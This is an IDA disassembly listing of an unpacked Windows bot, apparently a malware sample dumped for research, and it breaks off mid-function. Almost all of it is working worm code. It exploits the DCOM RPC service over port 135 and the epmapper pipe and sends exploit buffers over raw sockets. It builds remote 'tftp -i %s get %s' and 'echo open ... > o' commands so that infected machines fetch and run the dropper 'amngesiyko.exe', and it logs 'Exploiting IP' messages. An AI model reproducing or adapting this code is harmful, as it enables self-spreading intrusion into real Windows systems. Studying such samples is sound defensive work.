;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 7FAFEDADD282CAF345D48733A8DCCCD2
; File Name : u:\work\7fafedadd282caf345d48733a8dcccd2_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00031000 ( 200704.)
; Section size in file : 00031000 ( 200704.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_text segment para public 'DATA' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_4013F1+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_43454C
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_434558 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_4443A4
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_4942D4
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_416970
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_416970
mov esi, [ebp+arg_4]
add esp, 10h
lea eax, [ebp+var_354]
push edi
push offset dword_4443A8
push offset dword_4443AC
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call dword_44B760
cmp eax, 5
mov ebx, 4C3h
jz short loc_4010C7
cmp eax, ebx
jnz short loc_4010D1
loc_4010C7: ; CODE XREF: sub_401000+C1j
push edi
push edi
push edi
push esi
call dword_44B760
loc_4010D1: ; CODE XREF: sub_401000+C5j
cmp eax, 5
jz short loc_4010DF
cmp eax, ebx
jz short loc_4010DF
push 1
pop eax
jmp short loc_4010E1
; ---------------------------------------------------------------------------
loc_4010DF: ; CODE XREF: sub_401000+D4j
; sub_401000+D8j
xor eax, eax
loc_4010E1: ; CODE XREF: sub_401000+DDj
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010E6 proc near ; CODE XREF: sub_4013F1+7Ap
; sub_4013F1+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_434560
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_43456C ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_4443B0
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_4942D4
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_416970
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_416970
add esp, 10h
loc_401177: ; CODE XREF: sub_4010E6+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_44B600
test eax, eax
jz short loc_401197
push 7D0h
call ds:dword_4942D8
jmp short loc_401177
; ---------------------------------------------------------------------------
loc_401197: ; CODE XREF: sub_4010E6+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40119E proc near ; CODE XREF: sub_4013F1+A9p
; sub_4013F1+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_418D40
push esi
push edi
push offset aAmngesiyko_exe ; "amngesiyko.exe"
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_414773
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4013ED
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_418A00
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_4189A0
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_418A00
add esp, 24h
lea esi, [edi+0D7h]
loc_401223: ; CODE XREF: sub_40119E+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_401273
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_418A00
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_4189A0
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_418A00
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_401223
; ---------------------------------------------------------------------------
loc_401273: ; CODE XREF: sub_40119E+90j
cmp [ebp+arg_C4], 0
jz short loc_40128E
cmp [ebp+arg_C0], 3
jz short loc_401297
cmp [ebp+arg_C0], 0
jmp short loc_401295
; ---------------------------------------------------------------------------
loc_40128E: ; CODE XREF: sub_40119E+DCj
cmp [ebp+arg_C0], 3
loc_401295: ; CODE XREF: sub_40119E+EEj
jnz short loc_4012A0
loc_401297: ; CODE XREF: sub_40119E+E5j
push 4
push offset dword_434548
jmp short loc_4012A7
; ---------------------------------------------------------------------------
loc_4012A0: ; CODE XREF: sub_40119E:loc_401295j
push 4
push offset dword_434544
loc_4012A7: ; CODE XREF: sub_40119E+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_418A00
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_43407C
push eax
call sub_418A00
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4343E0
push eax
call sub_418A00
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_418A00
lea edi, [esi+370h]
push 3Ch
push offset off_4343F4
lea eax, [ebp+edi+var_1004]
push eax
call sub_418A00
add edi, 3Ch
push 30h
push offset dword_434434
lea eax, [ebp+edi+var_1004]
push eax
call sub_418A00
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_416A10
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_4189A0
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_418A00
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4013ED: ; CODE XREF: sub_40119E+3Ej
pop edi
pop esi
leave
retn
sub_40119E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4013F1 proc near ; CODE XREF: .text:00401756p
; sub_403076+1E6p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_234 = byte ptr -234h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call sub_418D40
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_40155F
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_401000
pop ecx
test eax, eax
pop ecx
jz loc_40166F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_338]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_418D70
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_338]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_4942EC
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401476
loc_401467: ; CODE XREF: sub_4013F1+126j
lea eax, [ebp+arg_4]
push eax
call sub_4010E6
pop ecx
jmp loc_40166F
; ---------------------------------------------------------------------------
loc_401476: ; CODE XREF: sub_4013F1+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_4064A6
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
loc_401495: ; DATA XREF: .data:off_4354CCo
; .data:off_435E2Co
pop ecx
mov edi, esp
rep movsd
call sub_40119E
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_40150E
mov edi, 186A0h
push edi
call sub_416A10
mov esi, eax
push edi
push ebx
push esi
call sub_4189A0
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_434030
push [ebp+var_4]
call ds:dword_4942E8
cmp byte ptr [esi+2], 0Ch
jnz short loc_4014FE
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call ds:dword_4942E4
test eax, eax
jnz short loc_40151C
loc_4014FE: ; CODE XREF: sub_4013F1+F3j
push esi
call sub_417480
push [ebp+var_8]
call sub_417480
pop ecx
pop ecx
loc_40150E: ; CODE XREF: sub_4013F1+B9j
push [ebp+var_4]
call ds:dword_4942E0
jmp loc_401467
; ---------------------------------------------------------------------------
loc_40151C: ; CODE XREF: sub_4013F1+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call ds:dword_4942DC
push [ebp+var_8]
mov edi, eax
call sub_417480
push esi
call sub_417480
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4942E0
lea eax, [ebp+arg_4]
push eax
call sub_4010E6
cmp edi, 1
pop ecx
jnz loc_401683
jmp loc_40166F
; ---------------------------------------------------------------------------
loc_40155F: ; CODE XREF: sub_4013F1+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_4064A6
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40166F
xor ebx, ebx
push ebx
push 1
push 2
call dword_44B740 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40166F
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_44B6C0 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_44B700 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40119E
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_4015F1
push [ebp+var_4]
jmp short loc_401669
; ---------------------------------------------------------------------------
loc_4015F1: ; CODE XREF: sub_4013F1+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401609
loc_401606: ; CODE XREF: sub_4013F1+22Aj
push esi
jmp short loc_401662
; ---------------------------------------------------------------------------
loc_401609: ; CODE XREF: sub_4013F1+213j
push ebx
push 48h
push offset dword_434030
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401606
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40164A
push [ebp+var_8]
jmp short loc_401662
; ---------------------------------------------------------------------------
loc_40164A: ; CODE XREF: sub_4013F1+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_44B6D8 ; recv
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_401676
loc_401662: ; CODE XREF: sub_4013F1+216j
; sub_4013F1+257j
call sub_417480
pop ecx
push edi
loc_401669: ; CODE XREF: sub_4013F1+1FEj
call dword_44B758 ; closesocket
loc_40166F: ; CODE XREF: sub_4013F1+31j
; sub_4013F1+80j ...
xor eax, eax
jmp loc_401732
; ---------------------------------------------------------------------------
loc_401676: ; CODE XREF: sub_4013F1+26Fj
call sub_417480
pop ecx
push edi
call dword_44B758 ; closesocket
loc_401683: ; CODE XREF: sub_4013F1+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_234]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_418D70
add esp, 0Ch
xor esi, esi
loc_40169D: ; CODE XREF: sub_4013F1+2CCj
lea eax, [ebp+var_234]
push eax
call sub_40375F
test eax, eax
pop ecx
jnz short loc_4016C1
push 1388h
call ds:dword_4942D8
inc esi
cmp esi, 6
jl short loc_40169D
jmp short loc_40172F
; ---------------------------------------------------------------------------
loc_4016C1: ; CODE XREF: sub_4013F1+2BBj
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
lea eax, [ebp+var_234]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_418D70
add esp, 10h
cmp [ebp+arg_B4], ebx
jnz short loc_40170D
push ebx
lea eax, [ebp+var_234]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_40170D: ; CODE XREF: sub_4013F1+2FDj
lea eax, [ebp+var_234]
push eax
call sub_4035E1
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_436160[eax]
lea eax, dword_436160[eax]
loc_40172F: ; CODE XREF: sub_4013F1+2CEj
push 1
pop eax
loc_401732: ; CODE XREF: sub_4013F1+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4013F1 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4013F1
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_401FDA
add esp, 0BCh
test ebx, ebx
jnz short loc_401789
test eax, eax
jz short loc_40178C
loc_401789: ; CODE XREF: .text:00401783j
push 1
pop eax
loc_40178C: ; CODE XREF: .text:00401787j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 5214h
call sub_418D40
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4064A6
pop ecx
test eax, eax
pop ecx
jz loc_40197B
cmp eax, 1
jz loc_40197B
push 0
push 1
push 2
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_40197B
push 10h
lea eax, [ebp-14h]
push 0
push eax
call sub_4189A0
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp+0A8h]
call dword_44B6C0 ; htons
mov [ebp-12h], ax
lea eax, [ebp+0Ch]
push eax
call dword_44B700 ; inet_addr
push offset aAmngesiyko_exe ; "amngesiyko.exe"
mov [ebp-10h], eax
push dword ptr [ebp+8]
call sub_40AFEC
pop ecx
mov esi, 1000h
push eax
lea eax, [ebp-5214h]
push esi
push eax
call sub_414773
add esp, 10h
mov [ebp-4], eax
test eax, eax
jz loc_40197B
push 122h
push offset aS ; "è"
lea eax, [ebp-4214h]
push esi
push eax
call sub_4147FB
mov ebx, eax
push 25Ch
lea eax, [ebp-2214h]
push offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\"
push eax
call sub_418A00
lea eax, [ebp-4214h]
push ebx
push eax
lea eax, [ebp-21F0h]
push eax
call sub_418A00
push dword ptr [ebp-4]
lea eax, [ebp-5214h]
push eax
lea eax, [ebp-21F0h]
push eax
call sub_418A00
push 4
lea eax, [ebp-1FE0h]
push offset dword_434D8C
push eax
call sub_418A00
add esp, 40h
lea eax, [ebp-1FDCh]
push 4
push offset dword_434D88
push eax
call sub_418A00
mov eax, 12Eh
add esp, 0Ch
add [ebp-0EB4h], eax
add [ebp-0EACh], eax
mov eax, 250h
push 10h
add [ebp-120Ch], eax
add [ebp-1204h], eax
add [ebp-1194h], eax
add [ebp-1190h], eax
add [ebp-1160h], eax
add [ebp-115Ch], eax
add [ebp-1144h], eax
add [ebp-1088h], eax
lea eax, [ebp-14h]
push eax
push edi
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401917
loc_401914: ; CODE XREF: .text:0040192Bj
; .text:00401944j ...
push edi
jmp short loc_401975
; ---------------------------------------------------------------------------
loc_401917: ; CODE XREF: .text:00401912j
xor ebx, ebx
push ebx
push 48h
push offset dword_4346F4
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401914
push ebx
lea eax, [ebp-3214h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
cmp byte ptr [ebp-3212h], 0Ch
jnz short loc_401914
push ebx
lea eax, [ebp-1214h]
push ebx
push eax
push edi
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401914
push ebx
lea eax, [ebp-3214h]
push esi
push eax
push edi
call dword_44B6D8 ; recv
cmp byte ptr [ebp-3212h], 3
push edi
jnz short loc_401982
loc_401975: ; CODE XREF: .text:00401915j
call dword_44B758 ; closesocket
loc_40197B: ; CODE XREF: .text:004017AFj
; .text:004017B8j ...
xor eax, eax
loc_40197D: ; CODE XREF: .text:00401A37j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401982: ; CODE XREF: .text:00401973j
call dword_44B758 ; closesocket
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-214h]
push offset aTftpFileTran_0 ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_418D70
add esp, 0Ch
xor esi, esi
loc_4019A2: ; CODE XREF: .text:004019C2j
lea eax, [ebp-214h]
push eax
call sub_40375F
test eax, eax
pop ecx
jnz short loc_4019C6
push 1388h
call ds:dword_4942D8
inc esi
cmp esi, 6
jl short loc_4019A2
jmp short loc_401A34
; ---------------------------------------------------------------------------
loc_4019C6: ; CODE XREF: .text:004019B1j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
lea eax, [ebp-214h]
push offset aSExploitingI_0 ; "[%s]: Exploiting IP: %s."
push eax
call sub_418D70
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_401A12
push ebx
lea eax, [ebp-214h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40842D
add esp, 14h
loc_401A12: ; CODE XREF: .text:004019F3j
lea eax, [ebp-214h]
push eax
call sub_4035E1
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_436160[eax]
lea eax, dword_436160[eax]
loc_401A34: ; CODE XREF: .text:004019C4j
push 1
pop eax
jmp loc_40197D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A3C proc near ; CODE XREF: sub_401B9B+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_44B700 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_4356C8
push eax
call dword_44B6C0 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_44B740 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_401B74
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jz loc_401B74
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_44B6D8 ; recv
mov edi, offset aAmngesiyko_exe ; "amngesiyko.exe"
push edi
push edi
push [ebp+arg_0]
call sub_40AFEC
pop ecx
mov esi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_418EF0
add esp, 18h
push dword_44B154
push [ebp+arg_0]
call sub_40AFEC
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_418EF0
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_401B74
push 1F4h
call ds:dword_4942D8
push edi
push offset aS_0 ; "%s\r\n"
lea eax, [ebp+var_1A0]
push esi
push eax
call sub_418EF0
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401B78
loc_401B74: ; CODE XREF: sub_401A3C+51j
; sub_401A3C+67j ...
xor al, al
jmp short loc_401B96
; ---------------------------------------------------------------------------
loc_401B78: ; CODE XREF: sub_401A3C+136j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_44B6D8 ; recv
push ebx
call dword_44B758 ; closesocket
mov al, 1
loc_401B96: ; CODE XREF: sub_401A3C+13Aj
pop edi
pop esi
pop ebx
leave
retn
sub_401A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B9B proc near ; CODE XREF: sub_401FDA+116p
; sub_401FDA+138p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_418D40
mov eax, dword_43584C
push ebx
mov [ebp+var_10], eax
mov eax, dword_435850
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax
call sub_418D70
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_401BDA: ; CODE XREF: sub_401B9B+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_401BDA
push 60h
lea eax, [ebp+var_B4]
push offset dword_4352D8
push eax
call sub_418A00
lea eax, [ebp+var_3C]
push eax
call sub_418E70
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_418A00
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_2+3)
push eax
call sub_418E70
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_418A00
lea eax, [ebp+var_3C]
push eax
call sub_418E70
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_418A00
lea eax, [ebp+var_3C]
push eax
call sub_418E70
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_418A00
mov ax, word_4356C8
add esp, 2Ch
push eax
call dword_44B6C0 ; htons
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_434FD8
call sub_418A00
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_401D97
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_4189A0
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_435708[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_418A00
mov esi, offset dword_434F28
push esi
call sub_418E70
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_418A00
push 4
lea eax, [ebp+var_11AC]
push offset dword_435860
push eax
call sub_418A00
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_418A00
add esp, 40h
push esi
call sub_418E70
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_418A00
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_401D50: ; CODE XREF: sub_401B9B+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_401D50
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_4189A0
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_4189A0
add esp, 18h
jmp short loc_401DEE
; ---------------------------------------------------------------------------
loc_401D97: ; CODE XREF: sub_401B9B+118j
push 7D0h
